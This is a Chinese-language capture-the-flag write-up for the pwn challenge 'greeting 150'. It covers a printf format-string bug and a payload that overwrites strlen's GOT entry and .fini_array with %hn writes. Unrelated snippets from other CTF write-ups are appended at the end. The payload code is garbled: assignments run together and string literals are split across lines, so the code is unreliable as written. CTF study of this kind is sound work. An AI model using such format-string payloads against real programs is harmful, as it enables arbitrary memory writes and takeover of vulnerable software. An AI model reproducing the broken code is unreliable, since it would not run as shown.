1.printf()函式的格式化漏洞。
2.可以通過修改.fini_array的內容使得main函式一直迴圈執行。
3.printf()格式化修飾符中,hn為word(字),hhn為byte(位元組),n為dword(雙字),lln為qword(四字)。
1.首先通過printf()函式得到輸入的相偏移。
2.得到偏移為42位,所以在payload中需要輸入2個字元來對齊。
3.因為隨著payload的長度增加,寫入的值只會越來越大,所以需要先寫入小的值。
例如:
strlen_got = 0x8049a54fini_got = 0x08049934p = "qq"p += p32(fini_got+2)
p += p32(strlen_got+2)
p +=p32(strlen_got)
p +=p32(fini_got)
p += "
%"+str(2016)+"c"
p += "
%"+str(12)+"
$hn"
p += "
%"+str(13)+"
$hn"
p += "
%"+str(31884)+"c"
p += "
%"+str(14)+"
$hn"
p += "
%"+str(349)+"c"
p += "
%"+str(15)+"
$hn"
攻防世界PWN之greeting 150題解
首先看一下保護機制 然後我們拖入ida,發現是乙個很簡單的程式。然而,最後的那個printf s 存在格式化字串漏洞,可以造成任意位址的讀寫。首先,我們需要確定我們輸入的資料的相對位置。經過測試,我們需要在前面填充2個字元,然後接下來我們的資料會位於第12個位置 那麼,我們的payload aa p...
攻防世界Reverse題目writeup
小白最近做了一些reverse題目,整理整理 import base64 defencode message s for i in message x ord i 32 x x 16 s chr x return base64.b64encode s correct xlnkvmtui1mgxwbz...
攻防世界新手區題目wp
雖然是菜雞題目,但俺依然不太會做 上網看了一下wp,就是ida開啟,然後shift f12,搜尋flag ord 的作用是返回字元相應的ascii十進位制編碼,比如ord a 會返回97 另外如果a b ca oplus b c a b c,可以推出來a b b a 0 aa oplus b opl...